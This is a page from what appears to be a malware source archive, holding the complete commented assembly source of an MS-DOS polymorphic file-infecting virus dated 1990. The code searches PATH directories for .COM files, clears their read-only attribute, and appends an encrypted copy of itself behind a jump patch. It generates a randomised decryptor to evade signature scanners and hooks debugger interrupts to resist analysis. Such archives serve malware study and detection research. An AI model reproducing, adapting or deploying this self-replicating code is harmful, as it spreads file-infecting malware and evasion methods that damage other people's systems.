MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.v2p.asm
2021-01-12 18:04:54 -06:00

759 lines
23 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;
;
; Copyright (C) Mark Washburn, 1990. All Rights Reserved
;
;
; Inquires are directed to :
; Mark Washburn
; 4656 Polk Street NE
; Columbia Heights, MN 55421
; USA
;
;
;
;
code segment public 'CODE'
org 100h
;
assume cs:code,ds:code,es:code
;
stopdebug equ 1 ; define this for disassembly trap code
int1vec equ 4
int3vec equ 12
;
dta_ptr equ -4
file_crea equ -8
file_attr equ -10
path_start_ptr equ -12
file_start_ptr equ -14
RAND_SEED equ -16
ptr1 equ -18 ; pointer to start of loop code
ptr2 equ -20 ; save data_begin pointer
dat1 equ -22 ; the random code used
dat2 equ -24 ; the decode length plus random length offset, max_msk
; to make the decode routine more difficult to detect
dat3 equ -26 ; the 'necessary crypt code' mask
;
IFNDEF stopdebug
local_stack equ 26
max_msk equ 0ffh ; this determines the maximum variance of length
ELSE
nobugptr equ -28
oldint3 equ -32
oldint1 equ -36
local_stack equ 36
max_msk equ 0ffh ; this determines the maximum variance of length
ENDIF
;
;
;
doscall macro call_type
ifnb <call_type>
mov ah, call_type
endif
int 21h
endm
;
setloc macro arg1,reg2
mov [bp + arg1],reg2
endm
;
getloc macro reg1,arg2
mov reg1,[bp + arg2]
endm
;
setdat macro arg1,reg2
mov [si + offset arg1 - offset data_begin],reg2
endm
;
getdat macro reg1,arg2
mov reg1,[si + offset arg2 - offset data_begin]
endm
;
regofs macro reg1,arg2
mov reg1,si
add reg1,offset (arg2 - data_begin)
endm
;
NOBUG1 macro
IFDEF stopdebug
INT 3
NOP
ENDIF
endm
;
nobug2 macro
IFDEF stopdebug
INT 3
ENDIF
endm
;
;
start:
jmp entry
;
;
;
MOV AH,0
INT 021h ; program code
; db 600h-6 dup (0)
; insert utility code here
;
entry:
; space for decode routine
IFDEF stopdebug
call precrypt
db 36 dup (090h) ; calculated length of offset(t41-t10)
ELSE
db 39 dup (090h) ; calculated length of offset(t41-t10)
ENDIF
;
; label the start of encoded section
entry2:
mov bp,sp ; allocate locals
sub sp,local_stack
;
push cx
movcmd: ; this label is used to locate the next instruction
mov dx,offset data_begin
setloc ptr2,dx ; save - will be modified in 'gencode'
IFDEF stopdebug
;
; save interrupt 1 and 3 vectors
;
push ds
mov ax,0
push ax
pop ds
cli
mov ax,ds:[int1vec]
setloc oldint1,ax
mov ax,ds:[int1vec+2]
setloc oldint1+2,ax
mov ax,ds:[int3vec]
setloc oldint3,ax
mov ax,ds:[int3vec+2]
setloc oldint3+2,ax
sti
pop ds
;
call bugon
ENDIF
mov si,dx
add si,(offset old_code - offset data_begin)
mov di,0100h
mov cx,03h
cld
repz movsb
mov si,dx
doscall 30h ; check DOS version
cmp al,0
NOBUG1 ; 0
jnz cont1 ; DOS > 2.0
jmp exit
cont1:
push es
doscall 2fh ; get program DTA
NOBUG1 ; 0
setloc dta_ptr,bx
NOBUG1 ; 0
setloc dta_ptr+2,es
pop es
regofs dx,my_dta
doscall 1ah ; set new DTA
push es
push si
mov es,ds:[02ch] ; environment address
mov di,0
loop1:
pop si
push si
add si,(offset path_chars - offset data_begin)
lodsb
mov cx,8000h
repnz scasb
mov cx,4
loop2:
lodsb
scasb
jnz loop1
loop loop2
pop si
pop es
setloc path_start_ptr,di
mov bx,si
add si,offset (file_name-data_begin)
mov di,si
jmp cont6
nobug2
next_path:
cmp word ptr [bp + path_start_ptr],0
jnz cont3
jmp exit2
nobug2
cont3:
push ds
push si
mov ds,es:[002ch]
mov di,si
mov si,es:[bp+path_start_ptr]
add di,offset (file_name-data_begin)
loop3:
lodsb
cmp al,';' ; 3bh
jz cont4
cmp al,0
jz cont5
stosb
jmp loop3
nobug2
cont5:
mov si,0
cont4:
pop bx
pop ds
mov [bp+path_start_ptr],si
cmp ch,0ffh
jz cont6
mov al,'\' ; 5ch
stosb
cont6:
mov [bp+file_start_ptr],di
mov si,bx
add si,(offset com_search-offset data_begin)
mov cx,6
repz movsb
mov si,bx
mov ah,04eh
regofs dx,file_name
mov cx,3
doscall
jmp cont7
nobug2
next_file:
doscall 04fh
cont7:
jnb cont8
jmp next_path
nobug2
cont8:
mov ax,[si+offset(my_dta-data_begin)+016h] ; low time byte
and al,01fh
cmp al,01fh
jz next_file
IFNDEF stopdebug
cmp word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h
; file length compared; need 1.5 k spare, see rnd off
ELSE
cmp word ptr [si+offset(my_dta-data_begin)+01ah],0f800h
ENDIF
jz next_file ; with virus length
cmp word ptr [si+offset(my_dta-data_begin)+01ah],0ah
; file to short
jz next_file
mov di,[bp+file_start_ptr]
push si
add si,offset(my_dta-data_begin+01eh)
move_name:
lodsb
stosb
cmp al,0
jnz move_name
pop si
mov ax,04300h
regofs dx,file_name
doscall
setloc file_attr,cx
mov ax,04301h
and cx,0fffeh
regofs dx,file_name
doscall
mov ax,03d02h
regofs dx,file_name
doscall
jnb cont9
jmp exit3
nobug2
cont9:
mov bx,ax
mov ax,05700h
doscall
setloc file_crea,cx
setloc file_crea+2,dx
cont10:
mov ah,3fh
mov cx,3
regofs dx,old_code
doscall
NOBUG1 ; 1
jb cont98
NOBUG1
cmp ax,3
NOBUG1
jnz cont98
NOBUG1
mov ax,04202h
NOBUG1 ;1
mov cx,0
mov dx,0
doscall
jnb cont99
cont98:
jmp exit4
cont99:
NOBUG1 ; 2
push bx ; save file handle
NOBUG1
mov cx,ax
push cx
NOBUG1
sub ax,3
NOBUG1
setdat jump_code+1,ax
add cx,(offset data_begin-offset entry+0100h)
NOBUG1
mov di,si
NOBUG1
sub di,offset data_begin-offset movcmd-1
NOBUG1
mov [di],cx
;
doscall 02ch ; seed the random number generator
xor dx,cx
NOBUG1
setloc rand_seed,dx
NOBUG1 ; 2
call random
NOBUG1 ; 3
getloc ax,rand_seed
NOBUG1 ; 3
and ax,max_msk ; add a random offset to actual length
NOBUG1 ; 3
add ax,offset (data_end-entry2) ; set decode length
NOBUG1 ; 3
setloc dat2,ax ; save the decode length
NOBUG1 ; 3
setdat (t13+1),ax ; set decode length in 'mov cx,xxxx'
pop cx ; restore the code length of file to be infected
NOBUG1 ; 3
add cx,offset (entry2-entry+0100h) ; add the length
; of uncoded area plus file offset
setdat (t11+1),cx ; set decode begin in 'mov di,xxxx'
NOBUG1 ; 3
call random
getloc ax,rand_seed
NOBUG1 ; 3
setloc dat1,ax ; save this random key in dat1
setdat (t12+1),ax ; set random key in 'mov ax,xxxx'
NOBUG1 ; 3
mov di,si
NOBUG1 ; 3
sub di,offset (data_begin-entry)
NOBUG1 ; 3
mov bx,si
add bx,offset (l11-data_begin) ; table L11 address
mov word ptr [bp+dat3],000000111b ; required routines
call gen2 ; generate first part of decrypt
setloc ptr1,di ; save the current counter to resolve 'loop'
add bx,offset (l21-l11) ; add then next tables' offset
NOBUG1 ; 3
mov word ptr [bp+dat3],010000011b ; required plus 'nop'
NOBUG1 ; 3
call gen2 ; generate second part of decrypt
add bx,offset (l31-l21) ; add the next offset
NOBUG1
call gen2 ; generate third part of decrypt
mov cx,2 ; store the loop code
getloc si,ptr2
NOBUG1 ; 3
add si,offset (t40-t10) ; point to the code
repz movsb ; move the code
getloc ax,ptr1 ; the loop address pointer
sub ax,di ; the current address
dec di ; point to the jump address
stosb ; resolve the jump
; fill in the remaining code
l991:
getloc cx,ptr2 ; get the data_begin pointer
sub cx,offset (data_begin-entry2) ; locate last+1 entry
cmp cx,di ; are we there yet?
je l992 ; if not then fill some more space
mov dx,0h ; any code is ok
call gencode ; generate the code
jmp l991
nobug2
l992:
getloc si,ptr2 ; restore si to point to data area ;
push si
mov di,si
NOBUG1 ; 4
mov cx,offset(end1-begin1) ; move code
add si,offset(begin1-data_begin)
NOBUG1 ; 4
add di,offset(data_end-data_begin+max_msk) ; add max_msk
mov dx,di ; set subroutine start
repz movsb ; move the code
pop si
pop bx ; restore handle
call setrtn ; find this address
add ax,06h ; <- the number necessary for proper return
push ax
jmp dx ; continue with mask & write code
; continue here after return from mask & write code
NOBUG1 ; 4
jb exit4
cmp ax,offset(data_end-entry)
NOBUG1 ; 4
jnz exit4
mov ax,04200h
mov cx,0
mov dx,0
doscall
jb exit4
mov ah,040h
mov cx,3
NOBUG1 ; 4
regofs dx,jump_code
doscall
exit4:
getloc dx,file_crea+2
getloc cx,file_crea
and cx,0ffe0h
or cx,0001fh
mov ax,05701h
doscall
doscall 03Eh ; close file
exit3:
mov ax,04301h
getloc cx,file_attr
regofs dx,file_name
doscall
exit2:
push ds
getloc dx,dta_ptr
getloc ds,dta_ptr+2
doscall 01ah
pop ds
exit:
pop cx
xor ax,ax
xor bx,bx
xor dx,dx
xor si,si
mov sp,bp ; deallocate locals
mov di,0100h
push di
CALL BUGOFF
ret
;
; common subroutines
;
;
random proc near
;
getloc cx,rand_seed ; get the seed
xor cx,813Ch ; xor random pattern
add cx,9248h ; add random pattern
ror cx,1 ; rotate
ror cx,1 ; three
ror cx,1 ; times.
setloc rand_seed,cx ; put it back
and cx,7 ; ONLY NEED LOWER 3 BITS
push cx
inc cx
xor ax,ax
stc
rcl ax,cl
pop cx
ret ; return
;
random endp
;
setrtn proc near
;
pop ax ; ret near
push ax
ret
;
setrtn endp
;
gencode proc near
;
l999:
call random
test dx,ax ; has this code been used yet?
jnz l999 ; if this code was generated - try again
or dx,ax ; set the code as used in dx
mov ax,cx ; the look-up index
sal ax,1
push ax
xlat
mov cx,ax ; the count of instructions
pop ax
inc ax
xlat
add ax,[bp+ptr2] ; ax = address of code to be moved
mov si,ax
repz movsb ; move the code into place
ret
;
gencode endp
;
gen2 proc near
;
mov dx,0h ; used code
l990:
call gencode
mov ax,dx ; do we need more code
and ax,[bp+dat3] ; the mask for the required code
cmp ax,[bp+dat3]
jne l990 ; if still need required code - loop again
ret
;
gen2 endp
;
IFDEF stopdebug
doint3:
push bx
mov bx,sp
push ax
push si
mov si,word ptr [bx+02]
inc word ptr [bx+02] ; point to next address
setloc nobugptr,si
lodsb ; get the byte following int 3
xor byte ptr [si],al
mov al,[bx+7] ; set the trap flag
or al,1
mov [bx+7],al
pop si
pop ax
pop bx
iret
;
doint1:
push bx
mov bx,sp
push ax
push si
getloc si,nobugptr
lodsb
xor byte ptr [si],al
mov al,[bx+7] ; clear the trap flag
and al,0feh
mov [bx+7],al
pop si
pop ax
pop bx
bugiret:
iret
;
bugon:
pushf
push ds
push ax
mov ax,0
push ax
pop ds
getloc ax,ptr2
sub ax,offset(data_begin-doint3)
cli
mov ds:[int3vec],ax
getloc ax,ptr2
sub ax,offset(data_begin-doint1)
mov ds:[int1vec],ax
push cs
pop ax
mov ds:[int1vec+2],ax
mov ds:[int3vec+2],ax
sti
pop ax
pop ds
popf
ret
;
bugoff:
pushf
push ds
push ax
mov ax,0
push ax
pop ds
getloc ax,oldint3
cli
mov ds:[int3vec],ax
getloc ax,oldint1
mov ds:[int1vec],ax
getloc ax,oldint1+2
mov ds:[int1vec+2],ax
getloc ax,oldint3+2
mov ds:[int3vec+2],ax
sti
pop ax
pop ds
popf
ret
;
ENDIF
;
;
; the data area
;
data_begin label near
;
T10 LABEL NEAR
T11: MOV DI,0FFFFH
T12: MOV AX,0FFFFH
T13: MOV CX,0FFFFH
T14: CLC
T15: CLD
T16: INC SI
T17: DEC BX
T18: NOP
T19 LABEL NEAR
;
T20 LABEL NEAR
T21: XOR [DI],AX
T22: XOR [DI],CX
T23: XOR DX,CX
T24: XOR BX,CX
T25: SUB BX,AX
T26: SUB BX,CX
T27: SUB BX,DX
T28: NOP
T29 LABEL NEAR
;
T30 LABEL NEAR
T31: INC AX
T32: INC DI
T33: INC BX
T34: INC SI
T35: INC DX
T36: CLC
T37: DEC BX
T38: NOP
T39 LABEL NEAR
;
T40: LOOP T20
T41 LABEL NEAR
;
L11: DB OFFSET (T12-T11),OFFSET (T11-data_begin)
L12: DB OFFSET (T13-T12),OFFSET (T12-data_begin)
L13: DB OFFSET (T14-T13),OFFSET (T13-data_begin)
L14: DB OFFSET (T15-T14),OFFSET (T14-data_begin)
L15: DB OFFSET (T16-T15),OFFSET (T15-data_begin)
L16: DB OFFSET (T17-T16),OFFSET (T16-data_begin)
L17: DB OFFSET (T18-T17),OFFSET (T17-data_begin)
L18: DB OFFSET (T19-T18),OFFSET (T18-data_begin)
;
L21: DB OFFSET (T22-T21),OFFSET (T21-data_begin)
L22: DB OFFSET (T23-T22),OFFSET (T22-data_begin)
L23: DB OFFSET (T24-T23),OFFSET (T23-data_begin)
L24: DB OFFSET (T25-T24),OFFSET (T24-data_begin)
L25: DB OFFSET (T26-T25),OFFSET (T25-data_begin)
L26: DB OFFSET (T27-T26),OFFSET (T26-data_begin)
L27: DB OFFSET (T28-T27),OFFSET (T27-data_begin)
L28: DB OFFSET (T29-T28),OFFSET (T28-data_begin)
;
L31: DB OFFSET (T32-T31),OFFSET (T31-data_begin)
L32: DB OFFSET (T33-T32),OFFSET (T32-data_begin)
L33: DB OFFSET (T34-T33),OFFSET (T33-data_begin)
L34: DB OFFSET (T35-T34),OFFSET (T34-data_begin)
L35: DB OFFSET (T36-T35),OFFSET (T35-data_begin)
L36: DB OFFSET (T37-T36),OFFSET (T36-data_begin)
L37: DB OFFSET (T38-T37),OFFSET (T37-data_begin)
L38: DB OFFSET (T39-T38),OFFSET (T38-data_begin)
;
;
;
; this routine is relocated after the end of data area
; this routine encrypts, writes, and decrypts the virus code
;
begin1:
getloc cx,dat2 ; get off (data_end-entry2) plus max_msk
getloc ax,dat1 ; get decode ket
mov di,si ; and set the begin encrypt address
sub di,offset (data_begin-entry2)
call crypt
mov ah,040h
mov cx,offset data_end-offset entry
mov dx,si
sub dx,offset data_begin-offset entry
doscall
pushf ; save the status of the write
push ax
getloc cx,dat2 ; get off (data_end-entry2) plus max_msk
getloc ax,dat1
mov di,si
sub di,offset (data_begin-entry2)
call crypt
pop ax ; restore the DOS write's status
popf
ret
;
crypt:
xor [di],ax
xor [di],cx
inc ax
inc di
loop crypt
ret
end1:
;
; global work space and constants
;
old_code: db 090h,090h,090h
jump_code: db 0e9h,0,0
com_search: db '*.COM',0
path_chars: db 'PATH='
file_name: db 40h DUP (0)
my_dta: db 2Bh DUP (0)
db 0,0,0
data_end label near
IFDEF stopdebug
;
scan_bytes db 0CCh,090h
;
precrypt:
mov bp,sp ; allocate locals
sub sp,local_stack
doscall 02ch ; seed the random number generator
xor dx,cx
setloc rand_seed,dx
call random
mov di,offset start
push ds
pop es
lp999:
mov cx,08000h
mov si,offset scan_bytes
lodsb
repnz scasb
cmp cx,0
je done998
cmp di,offset data_end
jge done998
lodsb
scasb
jnz lp999
call random
getloc ax,rand_seed
dec di
mov [di],al
inc di
xor [di],al
inc di ; skip the masked byte
jmp short lp999
done998:
mov sp,bp
ret
ENDIF
code ends
end start